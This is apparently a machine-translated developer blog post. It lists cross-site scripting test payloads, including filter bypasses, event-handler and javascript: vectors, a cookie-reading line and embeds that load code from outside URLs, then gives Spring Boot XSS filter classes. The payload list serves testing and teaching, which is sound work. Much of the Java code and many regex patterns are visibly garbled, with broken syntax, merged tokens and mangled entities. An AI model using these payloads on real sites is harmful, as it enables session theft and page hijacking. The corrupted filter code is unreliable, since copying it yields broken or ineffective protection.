This is the second day of my participation in Gwen Challenge
Leak testing
Tidy up 16 common attribute tags and script bugs. Several common cross-site scripting vulnerability security tests, test HTML, can refer to the following
<! DOCTYPEhtml>
<html>
<head>
<title>Dynamic web requests background data</title>
</head>
<body>
<div>
input:
<input type="text" id="in" />
<button type="submit" id="submit">untreated</button>
<button type="submit" id="submit2">To deal with</button>
</div>
<br />
<div>
output:
<input id="out" />
</div>
<div>
output2:
<input id="out2" />
</div>
<div>
<h1>Ha, ha, ha</h1>
<p1>sdsad</p1>
</div>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script type="text/javascript">
$(function() {
var $submit = $('#submit');
var $submit2 = $('#submit2');
$submit.click(function() {
argv = "assada"
var http;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var $input = $('#in');
var $output = $('#out');
var $output2 = $('#out2');
var data = $input.val();
var jsoncontent = JSON.parse(xmlhttp.responseText);/* Parses the obtained information into a JSON object */
varval = jsoncontent.name; $output.val(val).html(val); }}var url = "http://192.168.1.100/api/v1/test";
var $input = $('#in');
var data = $input.val();
xmlhttp.open("POST", url, true);
xmlhttp.send(JSON.stringify(
{"user": data} )); }}); $submit2.click(function() {
argv = "assada"
var http;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var $input = $('#in');
var $output = $('#out');
var $output2 = $('#out2');
var data = $input.val();
var jsoncontent = JSON.parse(xmlhttp.responseText);/* Parses the obtained information into a JSON object */
varuser = jsoncontent.user; $output2.val(user).html(user); }}var url = "http://192.168.1.100/api/v1/test";
var $input = $('#in');
var data = $input.val();
xmlhttp.open("POST", url, true);
xmlhttp.send(JSON.stringify(
{"user": data} )); }}); });</script>
</body>
</html>
Copy the codeRoutine testing
1. Insert a normal label and test whether it is filtered.
2. Insert a closed label to test whether it will be filtered.
3, test script, test the following content
<script>alert(1); </script><script>prompt(1);</script>
<script>confirm(1);</script>
Copy the codeIf you leave something in the middle, try again, as in:
<scRiPt>alert(1); </scrIPt>Copy the codeIf you only filter out tags, you can try to bypass them by using the following method
<scr<script>ipt>alert(1)</scr<script>ipt>
Copy the code4. Test hyperlinks
<a href="http://www.google.com">Clickme</a>
Copy the codeThe SRC tags
<img src=x onerror=prompt(2); > <img/src=aaa.jpg onerror=prompt(2); > <video src=x onerror=prompt(2); > <audio src=x onerror=prompt(2); >Copy the codeThe iframe label
<iframe src="javascript:alert(3)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Copy the codeEmbed tags
<embed/src=//goo.gl/nlX0P>
Copy the codeThe action attribute
Execute javascript using the action attribute in the <form, < isIndex, etc
<form action="Javascript:alert(5)"><input type=submit> <isindex action="javascript:alert(5)" type=image> <isindex action=j	 a	 vas	 c	 r	 ipt:alert(5) type=image> <isindex action=data:text/html, type=image> <form action='data:text/ html,< script> alert(5)</script>'><button>CLICKCopy the codeFormaction binds properties
<isindexformaction="javascript:alert(5)"type=image> <input type="image" formaction=JaVaScript:alert(5)> <form><button formaction=javascript: alert(5)>CLICKMECopy the codeThe background
<table background=javascript:alert(6) > </table> // Works on Opera 10.5 and IE6Copy the codePoster attribute
<video poster=javascript:alert(7)//>
Copy the codeThe data attribute
<object data="data:text/html; base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
Copy the codeCode attributes
<applet code="javascript:confirm(document.cookie);"> / / Firefox is effective
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
Copy the codeEvents trigger
<svg/onload=prompt(10); > <marquee/onstart=confirm(10)>/ <body onload=prompt(10); > <select autofocus onfocus=alert(10)> <textarea autofocus onfocus=alert(10)> <keygen autofocus onfocus=alert(10)> <video><source onerror="javascript:alert(1)">Copy the codeExpression attribute
<img style="xss:expression(alert(11))"> / / IE7
<div style="color:rgb(''& # 0;x:expression(alert(11))"></div> / / IE7
<style>#test{x:expression(alert(/XSS/))}</style> / / IE7
Copy the codeThe location attribute
<a onmouseover=location='javascript:alert(12)'>click
<body onfocus="loaction='javascript:alert(12)'">123
Copy the codeThe script tag
We can close the script tag to insert the code, but again we can just close the double quotes to execute the js code “; alert(13)//
<script>Var x="Input"; </script>Copy the codehref
<a href="javascript:alert(14)//">Click</a>
Copy the codeJson
JSONObject json = null;
json = new JSONObject();
json.put("code".200);
json.put("info"."tester");
json.put("msg"."success");
System.out.println(json);
/ / output: {" code ": 200," info ":" tester ", "MSG" : "success"}
/ / if in the info into {' replace ': the function () {alert (/ XSS)}}?
json = new JSONObject();
json.put("code".200);
json.put("info"."{'replace':function(){alert(/xss/)}}");
json.put("msg"."success");
System.out.println(json);
/ / output: {" code ": 200," info ": {" replace" : the function () {alert (/ XSS)}}, "MSG" : "success"}
// When JSONObject outputs a JSON string, info is output as an object, and the embedded replace method is called when js uses the replace method to escape and filter.
[function(){alert(/ XSS /)}] or simply function(){alert(/ XSS /)}
Copy the codeSpringboot handles XSS attacks
Introduce the following dependencies
Jsoup is the main one, and I also use the following two here.
<! -- Prevent XSS attacks -->
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.11.3</version>
</dependency>
<! -- Common Tools -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
</dependency>
<dependency>
<groupId>org.junit.platform</groupId>
<artifactId>junit-platform-commons</artifactId>
</dependency>
Copy the codeFilterConfig
package com.wangscaler.config;
import com.wangscaler.common.xss.XssFilter;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import javax.servlet.DispatcherType;
import java.util.HashMap;
import java.util.Map;
/** * Set cross-site script filtering */
@Configuration
public class FilterConfig {
@Value("${xss.enabled}")
private String enabled;
@Value("${xss.excludes}")
private String excludes;
@Value("${xss.urlPatterns}")
private String urlPatterns;
@Bean
public FilterRegistrationBean xssFilterRegistration(a){
FilterRegistrationBean registrationBean = new FilterRegistrationBean();
registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
registrationBean.setFilter(new XssFilter());
registrationBean.addUrlPatterns(StringUtils.split(urlPatterns,","));
registrationBean.setName("XssFilter");
registrationBean.setOrder(9999);
Map<String,String> initParameters = new HashMap<>();
initParameters.put("excludes",excludes);
initParameters.put("enabled",enabled);
registrationBean.setInitParameters(initParameters);
returnregistrationBean; }}Copy the codeXssFilter
package com.wangscaler.common.xss;
import com.zytech.util.StringUtils;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/** * Filters to prevent XSS attacks **@author wangscaler
*/
public class XssFilter implements Filter
{
/** * exclude links */
public List<String> excludes = new ArrayList<>();
/**
* xss过滤开关
*/
public boolean enabled = false;
@Override
public void init(FilterConfig filterConfig) throws ServletException
{
String tempExcludes = filterConfig.getInitParameter("excludes");
String tempEnabled = filterConfig.getInitParameter("enabled");
if (StringUtils.isNotEmpty(tempExcludes))
{
String[] url = tempExcludes.split(",");
for (int i = 0; url ! =null&& i < url.length; i++) { excludes.add(url[i]); }}if(StringUtils.isNotEmpty(tempEnabled)) { enabled = Boolean.valueOf(tempEnabled); }}@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (handleExcludeURL(req, resp))
{
chain.doFilter(request, response);
return;
}
XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request);
chain.doFilter(xssRequest, response);
}
private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response)
{
if(! enabled) {return true;
}
if (excludes == null || excludes.isEmpty())
{
return false;
}
String url = request.getServletPath();
for (String pattern : excludes)
{
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find())
{
return true; }}return false;
}
@Override
public void destroy(a)
{}}Copy the codeXssHttpServletRequestWrapper
package com.wangscaler.common.xss;
import com.zytech.util.EscapeUtil;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
/** * XSS filter **@author ruoyi
*/
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper
{
/ * * *@param request
*/
public XssHttpServletRequestWrapper(HttpServletRequest request)
{
super(request);
}
@Override
public String[] getParameterValues(String name)
{
String[] values = super.getParameterValues(name);
if(values ! =null)
{
int length = values.length;
String[] escapseValues = new String[length];
for (int i = 0; i < length; i++)
{
// Prevent XSS attacks and filter Spaces before and after
escapseValues[i] = EscapeUtil.clean(values[i]).trim();
}
return escapseValues;
}
return super.getParameterValues(name); }}Copy the codeEscapeUtil
package com.wangscaler.util;
import com.zytech.common.xss.HTMLFilter;
/** * Escape and unescape utility classes **@author WangScaler
*/
public class EscapeUtil
{
public static final String RE_HTML_MARK = "[^ (< <] *? >)|(<[\\s]*? / [^ <] *? >) | (< / ^ < *? /[\\s]*? >)";
private static final char[][] TEXT = new char[64] [];static
{
for (int i = 0; i < 64; i++)
{
TEXT[i] = new char[] {(char) i };
}
// special HTML characters
TEXT['\' '] = "The & # 039;".toCharArray(); / / single quotation marks
TEXT['"'] = "& # 34;".toCharArray(); / / single quotation marks
TEXT['&'] = "& # 38;".toCharArray(); / / & operator
TEXT['<'] = "& # 60;".toCharArray(); / / is less than the number
TEXT['>'] = "The & # 62;".toCharArray(); / / is greater than the number
}
/** * Escape HTML characters in text as safe characters **@paramText Escaped text *@returnEscaped text */
public static String escape(String text)
{
return encode(text);
}
/** * Restores the escaped HTML special character **@paramContent The HTML content that contains the escape character *@returnThe converted string */
public static String unescape(String content)
{
return decode(content);
}
/** * Clears all HTML tags, but does not delete the contents of the tags **@paramThe content of text *@returnClear the text */ after the label
public static String clean(String content)
{
return new HTMLFilter().filter(content);
}
/** * Escape code **@paramText Encoded text *@returnThe encoded character */
private static String encode(String text)
{
int len;
if ((text == null) || ((len = text.length()) == 0))
{
return StringUtils.EMPTY;
}
StringBuilder buffer = new StringBuilder(len + (len >> 2));
char c;
for (int i = 0; i < len; i++)
{
c = text.charAt(i);
if (c < 64)
{
buffer.append(TEXT[c]);
}
else{ buffer.append(c); }}return buffer.toString();
}
/** * Escape decodes **@paramContent Escaped content *@returnDecoded string */
public static String decode(String content)
{
if (StringUtils.isEmpty(content))
{
return content;
}
StringBuilder tmp = new StringBuilder(content.length());
int lastPos = 0, pos = 0;
char ch;
while (lastPos < content.length())
{
pos = content.indexOf("%", lastPos);
if (pos == lastPos)
{
if (content.charAt(pos + 1) = ='u')
{
ch = (char) Integer.parseInt(content.substring(pos + 2, pos + 6), 16);
tmp.append(ch);
lastPos = pos + 6;
}
else
{
ch = (char) Integer.parseInt(content.substring(pos + 1, pos + 3), 16);
tmp.append(ch);
lastPos = pos + 3; }}else
{
if (pos == -1)
{
tmp.append(content.substring(lastPos));
lastPos = content.length();
}
else{ tmp.append(content.substring(lastPos, pos)); lastPos = pos; }}}return tmp.toString();
}
public static void main(String[] args)
{
String html = "";
// String html = "<scr<script>ipt>alert(\"XSS\")</scr<script>ipt>";
// String html = "<123";System.out.println(EscapeUtil.clean(html)); System.out.println(EscapeUtil.escape(html)); System.out.println(EscapeUtil.unescape(html)); }}Copy the codeHTMLFilter
package com.wangscaler.common.xss;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/** * HTML filter, used to remove XSS vulnerabilities. * *@author WangScaler
*/
public final class HTMLFilter
{
/** * regex flag union representing /si modifiers in php **/
private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL;
private static final Pattern P_COMMENTS = Pattern.compile("<! - (. *?) -- -- >", Pattern.DOTALL);
private static final Pattern P_COMMENT = Pattern.compile("^! - (. *) - $", REGEX_FLAGS_SI);
private static final Pattern P_TAGS = Pattern.compile("" (. *?) >", Pattern.DOTALL);
private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI);
private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?) (/)? $", REGEX_FLAGS_SI);
private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?) 2 \ \", REGEX_FLAGS_SI);
private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI);
private static final Pattern P_PROTOCOL = Pattern.compile("^ ([^ :] +) :", REGEX_FLAGS_SI);
private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+); ?");
private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+); ?");
private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2}); ?");
private static final Pattern P_VALID_ENTITIES = Pattern.compile("& ([^ &;] (*)? = (. | & | $))");
private static final Pattern P_VALID_QUOTES = Pattern.compile("(> | ^) ([^ <] +?) (< | $)", Pattern.DOTALL);
private static final Pattern P_END_ARROW = Pattern.compile("^ >");
// private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)");
private static final Pattern P_XML_CONTENT = Pattern.compile("(^ | >) ([^ <] *?) (? = >)");
private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("< ([^ >] *?) (? = < | $)");
private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^ | >) ([^ <] *?) (? = >)");
private static final Pattern P_AMP = Pattern.compile("&");
private static final Pattern P_QUOTE = Pattern.compile("\" ");
private static final Pattern P_LEFT_ARROW = Pattern.compile("<");
private static final Pattern P_RIGHT_ARROW = Pattern.compile(">");
private static final Pattern P_BOTH_ARROWS = Pattern.compile("< >");
// @xxx could grow large... maybe use sesat's ReferenceMap
private static final ConcurrentMap<String, Pattern> P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<>();
private static final ConcurrentMap<String, Pattern> P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<>();
/** * set of allowed html elements, along with allowed attributes for each element **/
private final Map<String, List<String>> vAllowed;
/** * counts of open tags for each (allowable) html element **/
private final Map<String, Integer> vTagCounts = new HashMap<>();
/** * html elements which must always be self-closing (e.g. "![]()
") **/
private final String[] vSelfClosingTags;
/** * html elements which must always have separate opening and closing tags (e.g. "") **/
private final String[] vNeedClosingTags;
/** * set of disallowed html elements **/
private final String[] vDisallowed;
/** * attributes which should be checked for valid protocols **/
private final String[] vProtocolAtts;
/** * allowed protocols **/
private final String[] vAllowedProtocols;
/** * tags which should be removed if they contain no content (e.g. "" or "") **/
private final String[] vRemoveBlanks;
/** * entities allowed within html markup **/
private final String[] vAllowedEntities;
/** * flag determining whether comments are allowed in input String. */
private final boolean stripComment;
private final boolean encodeQuotes;
/** * flag determining whether to try to make tags when presented with "unbalanced" angle brackets (e.g. "" * becomes " text "). If set to false, unbalanced angle brackets will be html escaped. */
private final boolean alwaysMakeTags;
/** * Default constructor. */
public HTMLFilter(a)
{
vAllowed = new HashMap<>();
final ArrayList<String> a_atts = new ArrayList<>();
a_atts.add("href");
a_atts.add("target");
vAllowed.put("a", a_atts);
final ArrayList<String> img_atts = new ArrayList<>();
img_atts.add("src");
img_atts.add("width");
img_atts.add("height");
img_atts.add("alt");
vAllowed.put("img", img_atts);
final ArrayList<String> no_atts = new ArrayList<>();
vAllowed.put("b", no_atts);
vAllowed.put("strong", no_atts);
vAllowed.put("i", no_atts);
vAllowed.put("em", no_atts);
vSelfClosingTags = new String[] { "img" };
vNeedClosingTags = new String[] { "a"."b"."strong"."i"."em" };
vDisallowed = new String[] {};
vAllowedProtocols = new String[] { "http"."mailto"."https" }; // no ftp.
vProtocolAtts = new String[] { "src"."href" };
vRemoveBlanks = new String[] { "a"."b"."strong"."i"."em" };
vAllowedEntities = new String[] { "amp"."gt"."lt"."quot" };
stripComment = true;
encodeQuotes = true;
alwaysMakeTags = true;
}
/**
* Map-parameter configurable constructor.
*
* @param conf map containing configuration. keys match field names.
*/
@SuppressWarnings("unchecked")
public HTMLFilter(final Map<String, Object> conf)
{
assert conf.containsKey("vAllowed") : "configuration requires vAllowed";
assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags";
assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags";
assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed";
assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols";
assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts";
assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks";
assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities";
vAllowed = Collections.unmodifiableMap((HashMap<String, List<String>>) conf.get("vAllowed"));
vSelfClosingTags = (String[]) conf.get("vSelfClosingTags");
vNeedClosingTags = (String[]) conf.get("vNeedClosingTags");
vDisallowed = (String[]) conf.get("vDisallowed");
vAllowedProtocols = (String[]) conf.get("vAllowedProtocols");
vProtocolAtts = (String[]) conf.get("vProtocolAtts");
vRemoveBlanks = (String[]) conf.get("vRemoveBlanks");
vAllowedEntities = (String[]) conf.get("vAllowedEntities");
stripComment = conf.containsKey("stripComment")? (Boolean) conf.get("stripComment") : true;
encodeQuotes = conf.containsKey("encodeQuotes")? (Boolean) conf.get("encodeQuotes") : true;
alwaysMakeTags = conf.containsKey("alwaysMakeTags")? (Boolean) conf.get("alwaysMakeTags") : true;
}
private void reset(a)
{
vTagCounts.clear();
}
// ---------------------------------------------------------------
// my versions of some PHP library functions
public static String chr(final int decimal)
{
return String.valueOf((char) decimal);
}
public static String htmlSpecialChars(final String s)
{
String result = s;
result = regexReplace(P_AMP, "&", result);
result = regexReplace(P_QUOTE, """, result);
result = regexReplace(P_LEFT_ARROW, "<", result);
result = regexReplace(P_RIGHT_ARROW, ">", result);
return result;
}
// ---------------------------------------------------------------
/**
* given a user submitted input String, filter out any invalid or restricted html.
*
* @param input text (i.e. submitted by a user) than may contain html
* @return "clean" version of input, with only valid, whitelisted html elements allowed
*/
public String filter(final String input)
{
reset();
String s = input;
s = escapeComments(s);
s = balanceHTML(s);
s = checkTags(s);
s = processRemoveBlanks(s);
s = validateEntities(s);
return s;
}
public boolean isAlwaysMakeTags(a)
{
return alwaysMakeTags;
}
public boolean isStripComments(a)
{
return stripComment;
}
private String escapeComments(final String s)
{
final Matcher m = P_COMMENTS.matcher(s);
final StringBuffer buf = new StringBuffer();
if (m.find())
{
final String match = m.group(1); / / (. *?)
m.appendReplacement(buf, Matcher.quoteReplacement("<!--" + htmlSpecialChars(match) + "-- >"));
}
m.appendTail(buf);
return buf.toString();
}
private String balanceHTML(String s)
{
if (alwaysMakeTags)
{
//
// try and form html
//
s = regexReplace(P_END_ARROW, "", s);
// No end tag is appended
// s = regexReplace(P_BODY_TO_END, "<$1>", s);
s = regexReplace(P_XML_CONTENT, "$1" $2", s);
}
else
{
//
// escape stray brackets
//
s = regexReplace(P_STRAY_LEFT_ARROW, "< The $1", s);
s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2> <", s);
//
// the last regexp causes '<>' entities to appear
// (we need to do a lookahead assertion so that the last bracket can
// be used in the next pass of the regexp)
//
s = regexReplace(P_BOTH_ARROWS, "", s);
}
return s;
}
private String checkTags(String s)
{
Matcher m = P_TAGS.matcher(s);
final StringBuffer buf = new StringBuffer();
while (m.find())
{
String replaceStr = m.group(1);
replaceStr = processTag(replaceStr);
m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr));
}
m.appendTail(buf);
// these get tallied in processTag
// (remember to reset before subsequent calls to filter method)
final StringBuilder sBuilder = new StringBuilder(buf.toString());
for (String key : vTagCounts.keySet())
{
for (int ii = 0; ii < vTagCounts.get(key); ii++)
{
sBuilder.append("< /").append(key).append(">");
}
}
s = sBuilder.toString();
return s;
}
private String processRemoveBlanks(final String s)
{
String result = s;
for (String tag : vRemoveBlanks)
{
if(! P_REMOVE_PAIR_BLANKS.containsKey(tag)) { P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)? > < /" + tag + ">"));
}
result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result);
if(! P_REMOVE_SELF_BLANKS.containsKey(tag)) { P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)? / >"));
}
result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result);
}
return result;
}
private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s)
{
Matcher m = regex_pattern.matcher(s);
return m.replaceAll(replacement);
}
private String processTag(final String s)
{
// ending tags
Matcher m = P_END_TAG.matcher(s);
if (m.find())
{
final String name = m.group(1).toLowerCase();
if (allowed(name))
{
if (false == inArray(name, vSelfClosingTags))
{
if (vTagCounts.containsKey(name))
{
vTagCounts.put(name, vTagCounts.get(name) - 1);
return "< /" + name + ">"; }}}}// starting tags
m = P_START_TAG.matcher(s);
if (m.find())
{
final String name = m.group(1).toLowerCase();
final String body = m.group(2);
String ending = m.group(3);
// debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" );
if (allowed(name))
{
final StringBuilder params = new StringBuilder();
final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body);
final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body);
final List<String> paramNames = new ArrayList<>();
final List<String> paramValues = new ArrayList<>();
while (m2.find())
{
paramNames.add(m2.group(1)); // ([a-z0-9]+)
paramValues.add(m2.group(3)); / / (. *?)
}
while (m3.find())
{
paramNames.add(m3.group(1)); // ([a-z0-9]+)
paramValues.add(m3.group(3)); // ([^\"\\s']+)
}
String paramName, paramValue;
for (int ii = 0; ii < paramNames.size(); ii++)
{
paramName = paramNames.get(ii).toLowerCase();
paramValue = paramValues.get(ii);
// debug( "paramName='" + paramName + "'" );
// debug( "paramValue='" + paramValue + "'" );
// debug( "allowed? " + vAllowed.get( name ).contains( paramName ) );
if (allowedAttribute(name, paramName))
{
if (inArray(paramName, vProtocolAtts))
{
paramValue = processParamProtocol(paramValue);
}
params.append(' ').append(paramName).append("= \" ").append(paramValue).append("\" "); }}if (inArray(name, vSelfClosingTags))
{
ending = "/";
}
if (inArray(name, vNeedClosingTags))
{
ending = "";
}
if (ending == null || ending.length() < 1)
{
if (vTagCounts.containsKey(name))
{
vTagCounts.put(name, vTagCounts.get(name) + 1);
}
else
{
vTagCounts.put(name, 1); }}else
{
ending = "/";
}
return "<" + name + params + ending + ">";
}
else
{
return ""; }}// comments
m = P_COMMENT.matcher(s);
if(! stripComment && m.find()) {return "<" + m.group() + ">";
}
return "";
}
private String processParamProtocol(String s)
{
s = decodeEntities(s);
final Matcher m = P_PROTOCOL.matcher(s);
if (m.find())
{
final String protocol = m.group(1);
if(! inArray(protocol, vAllowedProtocols)) {// bad protocol, turn into local anchor link instead
s = "#" + s.substring(protocol.length() + 1);
if (s.startsWith(# "/ /"))
{
s = "#" + s.substring(3); }}}return s;
}
private String decodeEntities(String s)
{
StringBuffer buf = new StringBuffer();
Matcher m = P_ENTITY.matcher(s);
while (m.find())
{
final String match = m.group(1);
final int decimal = Integer.decode(match).intValue();
m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
}
m.appendTail(buf);
s = buf.toString();
buf = new StringBuffer();
m = P_ENTITY_UNICODE.matcher(s);
while (m.find())
{
final String match = m.group(1);
final int decimal = Integer.valueOf(match, 16).intValue();
m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
}
m.appendTail(buf);
s = buf.toString();
buf = new StringBuffer();
m = P_ENCODE.matcher(s);
while (m.find())
{
final String match = m.group(1);
final int decimal = Integer.valueOf(match, 16).intValue();
m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
}
m.appendTail(buf);
s = buf.toString();
s = validateEntities(s);
return s;
}
private String validateEntities(final String s)
{
StringBuffer buf = new StringBuffer();
// validate entities throughout the string
Matcher m = P_VALID_ENTITIES.matcher(s);
while (m.find())
{
final String one = m.group(1); / / / ^ &; *)
final String two = m.group(2); / / (? = (. | & | $))
m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two)));
}
m.appendTail(buf);
return encodeQuotes(buf.toString());
}
private String encodeQuotes(final String s)
{
if (encodeQuotes)
{
StringBuffer buf = new StringBuffer();
Matcher m = P_VALID_QUOTES.matcher(s);
while (m.find())
{
final String one = m.group(1); / / (> | ^)
final String two = m.group(2); / / ([^ <] +)?
final String three = m.group(3); / / (< | $)
// Do not replace double quotes with "; To prevent json format from invalid regexReplace(P_QUOTE, ""; , two)
m.appendReplacement(buf, Matcher.quoteReplacement(one + two + three));
}
m.appendTail(buf);
return buf.toString();
}
else
{
returns; }}private String checkEntity(final String preamble, final String term)
{
return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&" + preamble;
}
private boolean isValidEntity(final String entity)
{
return inArray(entity, vAllowedEntities);
}
private static boolean inArray(final String s, final String[] array)
{
for (String item : array)
{
if(item ! =null && item.equals(s))
{
return true; }}return false;
}
private boolean allowed(final String name)
{
return(vAllowed.isEmpty() || vAllowed.containsKey(name)) && ! inArray(name, vDisallowed); }private boolean allowedAttribute(final String name, final String paramName)
{
returnallowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); }}Copy the codeStringUtils
package com.wangscaler.util;
import cn.hutool.core.text.StrFormatter;
import java.util.Collection;
import java.util.Map;
/** * string utility class **@author WangScaler
*/
public class StringUtils extends org.apache.commons.lang3.StringUtils
{
/** Empty string */
private static final String NULLSTR = "";
/** underline */
private static final char SEPARATOR = '_';
/** * The parameter is not null **@paramValue defaultValue Value to be determined *@returnValue Returns the value */
public static <T> T nvl(T value, T defaultValue)
{
returnvalue ! =null ? value : defaultValue;
}
/** ** Checks if a Collection is empty, including List, Set, Queue **@paramColl to judge the Collection *@returnTrue: empty false: not empty */
public static boolean isEmpty(Collection
coll)
{
return isNull(coll) || coll.isEmpty();
}
/** ** Checks whether a Collection is non-empty, including List, Set, Queue **@paramColl to judge the Collection *@returnTrue: not empty false: empty */
public static boolean isNotEmpty(Collection
coll)
{
return! isEmpty(coll); }/** ** Determines whether an array of objects is empty **@paramObjects The array of objects to determine@returnTrue: empty false: not empty */
public static boolean isEmpty(Object[] objects)
{
return isNull(objects) || (objects.length == 0);
}
/** ** Determines whether an array of objects is not empty **@paramObjects Array of objects to determine@returnTrue: not empty false: empty */
public static boolean isNotEmpty(Object[] objects)
{
return! isEmpty(objects); }/** ** Checks whether a Map is empty **@paramMap Indicates the map * to be determined@returnTrue: empty false: not empty */
public static boolean isEmpty(Map
map)
{
return isNull(map) || map.isEmpty();
}
/** ** Checks whether a Map is empty **@paramMap Indicates the map * to be determined@returnTrue: not empty false: empty */
public static boolean isNotEmpty(Map
map)
{
return! isEmpty(map); }/** ** determines whether a string is an empty string **@param str String
* @returnTrue: empty false: not empty */
public static boolean isEmpty(String str)
{
return isNull(str) || NULLSTR.equals(str.trim());
}
/** ** determines whether a string is a non-empty string **@param str String
* @returnTrue: non-empty string False: empty string */
public static boolean isNotEmpty(String str)
{
return! isEmpty(str); }/** ** Determines whether an object is empty **@param object Object
* @returnTrue: empty false: not empty */
public static boolean isNull(Object object)
{
return object == null;
}
/** ** Determines whether an object is non-empty **@param object Object
* @returnTrue: not empty false: empty */
public static boolean isNotNull(Object object)
{
return! isNull(object); }/** ** Determines whether an object is an array type (an array in the Java basic) **@paramObject *@returnTrue: is an array false: is not an array */
public static boolean isArray(Object object)
{
return isNotNull(object) && object.getClass().isArray();
}
/** * go to space */
public static String trim(String str)
{
return (str == null ? "" : str.trim());
}
/** * intercepts the string **@paramSTR string *@paramStart to *@returnResults the * /
public static String substring(final String str, int start)
{
if (str == null)
{
return NULLSTR;
}
if (start < 0)
{
start = str.length() + start;
}
if (start < 0)
{
start = 0;
}
if (start > str.length())
{
return NULLSTR;
}
return str.substring(start);
}
/** * intercepts the string **@paramSTR string *@paramStart to *@paramEnd to end *@returnResults the * /
public static String substring(final String str, int start, int end)
{
if (str == null)
{
return NULLSTR;
}
if (end < 0)
{
end = str.length() + end;
}
if (start < 0)
{
start = str.length() + start;
}
if (end > str.length())
{
end = str.length();
}
if (start > end)
{
return NULLSTR;
}
if (start < 0)
{
start = 0;
}
if (end < 0)
{
end = 0;
}
return str.substring(start, end);
}
/** * format text, {} represents placeholders <br> * This method simply replaces placeholders {} with arguments in order <br> * If you want to print {}, use \\ escape {, if you want to print \ before {}, use double escape \\\\ <br> * Example: < br > * usually use: the format (" this is {} for {} ", "a", "b") - > this is a for b < br > * escape {} : The format (" this is \ \ {} for {} ", "a", "b") - > this is \ {} for a < br > * escape \ : format("this is \\\\{} for {}", "a", "b") -> this is \a for b<br> * *@paramTemplate Text template, replaced with {} for *@paramParams Parameter value *@returnFormatted text */
public static String format(String template, Object... params)
{
if (isEmpty(params) || isEmpty(template))
{
return template;
}
return StrFormatter.format(template, params);
}
